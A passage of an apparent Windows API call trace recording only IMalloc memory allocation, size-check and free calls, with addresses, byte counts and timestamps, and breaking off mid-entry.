IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d5b0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d610) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d750) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17da50) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d7b0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d990) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dbf0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d8f0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d830) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d230) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dc50) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d490) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d8d0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dad0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d530) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d930) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17db50) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dc70) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d790) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d890) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d5d0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dcf0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d6f0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17db10) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d7d0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d9f0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d5f0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cd30) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cdd0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d630) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d650) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d110) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d1b0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d1f0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d350) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50b8a0) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c099130) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0940) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0b50) [0100.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c0987b0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0f40) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763b995bb0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f12a0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763b995870) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1060) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0a90) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1120) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0a30) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0eb0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0d00) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0ac0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0fa0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1270) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1210) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f10c0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1240) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f08b0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0fd0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0d60) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0a00) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763b995f70) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0730) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1000) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1090) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1030) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763b995c70) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763b995070) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763b9961f0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0760) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764556df50) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455710b0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f10f0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0790) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0820) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763b99d9b0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763b9a0070) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c2c28a0) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c2c2b60) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0850) [0100.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f08e0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0910) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c2caee0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c2ce4a0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c2cdca0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c2d67a0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0970) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f09a0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c2bd3a0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c2202f0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c229af0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c22c0b0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c219430) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c21b3b0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1420) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1c60) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c21b530) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c21bdf0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1de0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f18a0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644e76950) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644e76a50) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1960) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1c90) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1450) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644e78710) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644e8eb10) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276452c7c00) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276452c7a20) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1ab0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1360) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1cc0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cf90) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1ae0) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1930) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1b10) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1d80) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644e8ee50) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1b70) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1d20) [0100.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f15d0) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f15a0) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1330) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764532ece0) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764532eae0) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1cf0) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f14b0) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1b40) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f19c0) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1e40) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1480) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1a20) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1d50) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f14e0) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1600) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1db0) [0100.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1c30) [0100.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1ae0 [0100.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a330 [0100.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b829ab0 [0100.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f1420 [0100.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b7f1810 [0100.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f18a0 [0100.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1b40 [0100.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b7f1cf0 [0100.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f1600 [0100.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f15a0 [0100.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1b70 [0100.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f15d0 [0100.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f18d0 [0100.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a3f0 [0100.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1360 [0100.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f1930 [0100.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50d510 [0100.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d2d0 [0100.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d1b0 [0100.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cf90 [0100.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d1d0 [0100.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d490 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d070 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cfb0 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d130 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d0d0 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d290 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d3d0 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d350 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d4d0 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d3f0 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cd70 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d1f0 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d0f0 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d110 [0100.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d150 [0100.862] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d150) returned 0x10 [0100.866] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d150) [0100.866] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b884f80 [0100.866] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b884f80) returned 0x48 [0100.876] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884f80) [0101.053] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b887500 [0101.053] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b887500) returned 0x48 [0101.062] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b887500) [0101.062] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eca0 [0101.062] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eca0) returned 0x8 [0101.063] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eca0) [0101.063] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad210b0 [0101.063] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad210b0) returned 0x10 [0101.065] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad210b0) [0101.065] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b886830 [0101.065] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b886830) returned 0x40 [0101.068] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b886830) [0101.068] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764ad21230 [0101.068] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad21230) returned 0x18 [0101.070] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad21230) [0101.070] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad20f70 [0101.070] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad20f70) returned 0x10 [0101.072] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad20f70) [0101.072] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764ad21530 [0101.072] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad21530) returned 0x18 [0101.073] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad21530) [0101.073] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ebf0 [0101.073] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ebf0) returned 0x8 [0101.074] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ebf0) [0101.074] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f5d10 [0101.074] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f5d10) returned 0x28 [0101.074] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f5d10) [0101.074] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f6070 [0101.074] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f6070) returned 0x28 [0101.075] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f6070) [0101.075] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f6460 [0101.075] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f6460) returned 0x28 [0101.075] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f6460) [0101.075] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad20f70 [0101.075] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad20f70) returned 0x10 [0101.128] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad20f70) [0101.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2764b82d470 [0101.128] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b82d470) returned 0x38 [0101.135] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82d470) [0101.135] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad213b0 [0101.135] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad213b0) returned 0x10 [0101.136] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad213b0) [0101.364] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ed40 [0101.364] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ed40) returned 0x8 [0101.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ed40) [0101.364] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee50 [0101.364] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee50) returned 0x8 [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee50) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d2d0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d290) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d1b0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d3f0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cf90) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cd70) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d1f0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d0f0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d070) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d110) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d4d0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d350) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d3d0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d0d0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d130) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cfb0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d490) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d1d0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50d510) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1ae0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a330) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829ab0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1420) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1810) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f18a0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1b40) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1cf0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1600) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f15a0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1b70) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f15d0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f18d0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a3f0) [0101.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1360) [0101.366] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1930) [0101.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a030 [0101.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1cf0 [0101.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f14b0 [0101.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b829cf0 [0101.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1930 [0101.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829e70 [0101.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f14e0 [0101.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a330 [0101.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1360 [0101.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1420 [0101.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1810 [0101.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1510 [0101.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f18a0 [0101.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f15a0 [0101.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b7f1c60 [0101.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1ae0 [0101.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f18d0 [0101.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1b10 [0101.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1b40 [0101.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b7f1b70 [0101.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f15d0 [0101.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f1600 [0101.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1e10 [0101.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1f60 [0101.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b8298b0 [0101.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f22c0 [0101.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f2bf0 [0101.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f3220 [0101.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f2dd0 [0101.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b82a0f0 [0101.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b8298f0 [0101.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829eb0 [0101.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f3460 [0101.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x2764b884ee0 [0101.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x2764b8844e0 [0101.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f2ef0 [0101.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f31c0 [0101.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f3250 [0101.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82a170 [0101.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829ff0 [0101.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b82a3f0 [0101.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b82a530 [0101.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f57a0 [0101.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f5980 [0101.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f6700 [0101.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829970 [0101.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829ab0 [0101.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a230 [0101.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829af0 [0101.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f5d40 [0101.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f6100 [0101.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b829bb0 [0101.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b829bf0 [0101.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, 